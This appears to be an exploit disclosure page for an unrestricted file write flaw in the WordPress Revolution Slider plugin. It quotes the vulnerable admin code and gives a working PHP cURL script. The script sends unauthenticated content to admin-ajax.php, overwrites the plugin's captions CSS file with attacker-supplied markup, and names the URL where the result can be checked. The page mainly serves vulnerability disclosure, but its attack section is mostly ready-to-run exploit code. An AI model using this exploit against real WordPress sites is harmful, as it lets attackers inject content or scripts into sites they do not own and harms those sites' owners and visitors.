WordPress Revolution Slider File Upload

2015.04.02
Credit: CrashBandicot
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

###################################################################### # Exploit Title: Wordpress Plugin Revolution Slider - Unrestricted File Upload # Google Dork: Y0ur Brain # Date: 27.03.2015 # Exploit Author: CrashBandicot (@DosPerl) # Vendor HomePage: http://revolution.themepunch.com/ # Version: old # Tested on: Windows ###################################################################### # Path of File : /wp-content/plugins/revslider/revslider_admin.php # Vulnerable File : revslider_admin.php 232. $action = self::getPostGetVar("client_action"); 233. $data = self::getPostGetVar("data"); ... 301. case "get_captions_css": 302. $contentCSS = $operations->getCaptionsContent(); 303. self::ajaxResponseData($contentCSS); ... 305. case "update_captions_css": 306. $arrCaptions = $operations->updateCaptionsContentData($data); 307. self::ajaxResponseSuccess("CSS file saved succesfully!",array("arrCaptions"=>$arrCaptions)); # Exploit : <?php $post = array ( "action" => "revslider_ajax_action", "client_action" => "update_captions_css", "data" => "<marquee>Malicious Code Here</marquee>" ); $ch = curl_init ("http://localhost/wp-admin/admin-ajax.php"); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_POST, 1); curl_setopt ($ch, CURLOPT_POSTFIELDS, $post); $data = curl_exec ($ch); curl_close ($ch); ?> # Path of Result : /wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css #EOF


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top